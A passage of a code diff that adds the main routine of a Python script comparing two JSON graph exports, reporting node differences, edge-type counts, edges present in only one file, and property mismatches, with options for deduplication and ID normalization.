+ "--dedup", + action="store_true", + help="Deduplicate edges by (source, target, kind) before comparing (reduces each duplicate set to one edge, " + "so PS1's duplicate-edge bugs appear as normal property diffs rather than count mismatches)", + ) + + args = parser.parse_args() + + label1 = args.label1 or args.file1.split("/")[-1] + label2 = args.label2 or args.file2.split("/")[-1] + show_props = args.show_property_diffs and not args.no_property_diffs + + # Load data + print(f"Loading {label1}...") + data1 = load_json(args.file1) + print(f"Loading {label2}...") + data2 = load_json(args.file2) + + # Show top-level structure + print(f"\n{'='*80}") + print("TOP-LEVEL STRUCTURE") + print(f"{'='*80}") + if isinstance(data1, dict): + print(f" {label1}: dict with keys {list(data1.keys())}") + else: + print(f" {label1}: {type(data1).__name__} with {len(data1)} items") + if isinstance(data2, dict): + print(f" {label2}: dict with keys {list(data2.keys())}") + else: + print(f" {label2}: {type(data2).__name__} with {len(data2)} items") + + # Compare nodes + compare_nodes(data1, data2, label1, label2, verbose=args.verbose, normalize_ws=args.normalize_whitespace) + + # Extract edges + edges1 = extract_edges(data1) + edges2 = extract_edges(data2) + + print(f"\n {label1}: {len(edges1)} edges extracted") + print(f" {label2}: {len(edges2)} edges extracted") + + # Count edge types + type_counts1 = defaultdict(int) + type_counts2 = defaultdict(int) + + for e in edges1: + kind = e.get("kind", e.get("type", "UNKNOWN")) + type_counts1[kind] += 1 + for e in edges2: + kind = e.get("kind", e.get("type", "UNKNOWN")) + type_counts2[kind] += 1 + + all_types = sorted(set(list(type_counts1.keys()) + list(type_counts2.keys()))) + + print(f"\n{'='*80}") + print("EDGE TYPE COUNTS") + print(f"{'='*80}") + print(f" {'Edge Type':<45} {label1:>10} {label2:>10} {'Diff':>8}") + print(f" {'-'*45} {'-'*10} {'-'*10} {'-'*8}") + for t in all_types: + c1 = type_counts1.get(t, 0) + c2 = type_counts2.get(t, 0) + diff = c1 - c2 + diff_str = f"+{diff}" if diff > 0 else str(diff) if diff != 0 else "" + marker = " <---" if diff != 0 else "" + print(f" {t:<45} {c1:>10} {c2:>10} {diff_str:>8}{marker}") + + total1 = sum(type_counts1.values()) + total2 = sum(type_counts2.values()) + print(f" {'-'*45} {'-'*10} {'-'*10} {'-'*8}") + print(f" {'TOTAL':<45} {total1:>10} {total2:>10} {total1-total2:>+8}") + + # Build ID normalization mapping if requested + id_mapping = None + if args.normalize_ids: + id_mapping = build_node_id_mapping(data1, data2) + if id_mapping: + print(f"\n ID normalization: mapped {len(id_mapping)} node IDs from {label1} to {label2}") + else: + print(f"\n ID normalization: no mappable differences found") + + # Build edge maps by key (source, target, kind) + edges1_by_key = defaultdict(list) + edges2_by_key = defaultdict(list) + + for e in edges1: + key = make_edge_key(e, id_mapping) + edges1_by_key[key].append(e) + for e in edges2: + key = make_edge_key(e) + edges2_by_key[key].append(e) + + # Dedup: reduce each key's list to its first element, collapsing duplicates + if args.dedup: + deduped1 = sum(len(v) - 1 for v in edges1_by_key.values() if len(v) > 1) + deduped2 = sum(len(v) - 1 for v in edges2_by_key.values() if len(v) > 1) + if deduped1 or deduped2: + print(f"\n --dedup: removed {deduped1} duplicate(s) from {label1}, {deduped2} from {label2}") + edges1_by_key = {k: [v[0]] for k, v in edges1_by_key.items()} + edges2_by_key = {k: [v[0]] for k, v in edges2_by_key.items()} + + keys1 = set(edges1_by_key.keys()) + keys2 = set(edges2_by_key.keys()) + + only_in_1 = keys1 - keys2 + only_in_2 = keys2 - keys1 + in_both = keys1 & keys2 + + print(f"\n{'='*80}") + print("EDGE DIFFERENCE SUMMARY") + print(f"{'='*80}") + print(f" Unique edge keys (source, target, kind):") + print(f" Only in {label1}: {len(only_in_1)}") + print(f" Only in {label2}: {len(only_in_2)}") + print(f" In both: {len(in_both)}") + + # Group differences by edge kind + only1_by_kind = defaultdict(list) + only2_by_kind = defaultdict(list) + + for key in only_in_1: + _, _, kind = key + only1_by_kind[kind].append(key) + for key in only_in_2: + _, _, kind = key + only2_by_kind[kind].append(key) + + # Show edges only in file 1 + if only_in_1: + print(f"\n{'='*80}") + print(f"EDGES ONLY IN {label1} ({len(only_in_1)} edges)") + print(f"{'='*80}") + for kind in sorted(only1_by_kind.keys()): + edges_of_kind = only1_by_kind[kind] + print(f"\n --- {kind} ({len(edges_of_kind)} edges) ---") + for source, target, k in sorted(edges_of_kind): + print(f" {source}") + print(f" -> {target}") + if args.verbose: + for e in edges1_by_key[(source, target, k)]: + props = get_edge_properties(e) + for pk, pv in sorted(props.items()): + sv = str(pv) + if len(sv) > 100: + sv = sv[:100] + "..." + print(f" {pk}: {sv}") + print() + + # Show edges only in file 2 + if only_in_2: + print(f"\n{'='*80}") + print(f"EDGES ONLY IN {label2} ({len(only_in_2)} edges)") + print(f"{'='*80}") + for kind in sorted(only2_by_kind.keys()): + edges_of_kind = only2_by_kind[kind] + print(f"\n --- {kind} ({len(edges_of_kind)} edges) ---") + for source, target, k in sorted(edges_of_kind): + print(f" {source}") + print(f" -> {target}") + if args.verbose: + for e in edges2_by_key[(source, target, k)]: + props = get_edge_properties(e) + for pk, pv in sorted(props.items()): + sv = str(pv) + if len(sv) > 100: + sv = sv[:100] + "..." + print(f" {pk}: {sv}") + print() + + # Show property differences for matching edges + if show_props and in_both: + prop_diff_count = 0 + prop_diff_details = defaultdict(list) + + for key in sorted(in_both): + source, target, kind = key + e1_list = edges1_by_key[key] + e2_list = edges2_by_key[key] + + # Compare first edge of each (most common case: 1:1 match) + # If there are multiple edges with same key, compare pairwise + max_len = max(len(e1_list), len(e2_list)) + + if len(e1_list) != len(e2_list): + prop_diff_count += 1 + detail_lines = [ + f" {source} -> {target}", + f" Count mismatch: {label1} has {len(e1_list)}, {label2} has {len(e2_list)}", + ] + if args.verbose: + for idx, e in enumerate(e1_list): + detail_lines.append(f" {label1}[{idx}] properties:") + for pk, pv in sorted(e.get("properties", {}).items()): + sv = str(pv) + if len(sv) > 120: + sv = sv[:120] + "..." + detail_lines.append(f" {pk}: {sv}") + for idx, e in enumerate(e2_list): + detail_lines.append(f" {label2}[{idx}] properties:") + for pk, pv in sorted(e.get("properties", {}).items()): + sv = str(pv) + if len(sv) > 120: + sv = sv[:120] + "..." + detail_lines.append(f" {pk}: {sv}") + prop_diff_details[kind].append("\n".join(detail_lines)) + continue + + for i in range(min(len(e1_list), len(e2_list))): + props1 = get_edge_properties(e1_list[i]) + props2 = get_edge_properties(e2_list[i]) + diffs = compare_properties(props1, props2, label1, label2, args.normalize_whitespace) + if diffs: + prop_diff_count += 1 + detail = f" {source} -> {target}\n" + "\n".join(diffs) + prop_diff_details[kind].append(detail) + + if prop_diff_count > 0: + print(f"\n{'='*80}") + print(f"PROPERTY DIFFERENCES IN MATCHING EDGES ({prop_diff_count} edges differ)") + print(f"{'='*80}") + + # Category summary: (kind, property) -> {only_in_1, only_in_2, value_differs} counts + # This gives a quick overview of systematic vs incidental differences. + cat_counts = defaultdict(lambda: {"only_in_1": 0, "only_in_2": 0, "differs": 0, "count_mismatch": 0}) + for key in sorted(in_both): + source, target, kind = key + e1_list = edges1_by_key[key] + e2_list = edges2_by_key[key] + if len(e1_list) != len(e2_list): + cat_counts[(kind, "(count mismatch)")]["count_mismatch"] += 1 + continue + for i in range(min(len(e1_list), len(e2_list))): + p1 = get_edge_properties(e1_list[i]) + p2 = get_edge_properties(e2_list[i]) + all_keys = set(list(p1.keys()) + list(p2.keys())) + for pk in all_keys: + in1 = pk in p1 + in2 = pk in p2 + if in1 and not in2: + cat_counts[(kind, pk)]["only_in_1"] += 1 + elif not in1 and in2: + cat_counts[(kind, pk)]["only_in_2"] += 1 + else: + v1 = normalize_value(p1[pk], args.normalize_whitespace) + v2 = normalize_value(p2[pk], args.normalize_whitespace) + if v1 != v2: + cat_counts[(kind, pk)]["differs"] += 1 + + print(f"\n {'Edge Kind':<40} {'Property':<25} {'Only in '+label1:>12} {'Only in '+label2:>12} {'Value diff':>10}") + print(f" {'-'*40} {'-'*25} {'-'*12} {'-'*12} {'-'*10}") + for (kind, prop) in sorted(cat_counts.keys()): + c = cat_counts[(kind, prop)] + o1 = c["only_in_1"] or c["count_mismatch"] + o2 = c["only_in_2"] + vd = c["differs"] + print(f" {kind:<40} {prop:<25} {o1 if o1 else '':>12} {o2 if o2 else '':>12} {vd if vd else '':>10}") + + # Per-edge details (only shown with -v) + if args.verbose: + for kind in sorted(prop_diff_details.keys()): + details = prop_diff_details[kind] + print(f"\n --- {kind} ({len(details)} edges with property diffs) ---") + for d in details: + print(d) + print() + else: + print(f"\n{'='*80}") + print("PROPERTY DIFFERENCES: None found for matching edges") + print(f"{'='*80}") + + # Summary + print(f"\n{'='*80}") + print("FINAL SUMMARY") + print(f"{'='*80}") + print(f" {label1}: {total1} total edges, {len(all_types)} edge types") + print(f" {label2}: {total2} total edges, {len(all_types)} edge types") + print(f" Only in {label1}: {len(only_in_1)} edges across {len(only1_by_kind)} types") + print(f" Only in {label2}: {len(only_in_2)} edges across {len(only2_by_kind)} types") + if show_props: + print(f" Matching edges with property differences: {prop_diff_count}") + + +if __name__ == "__main__": + main()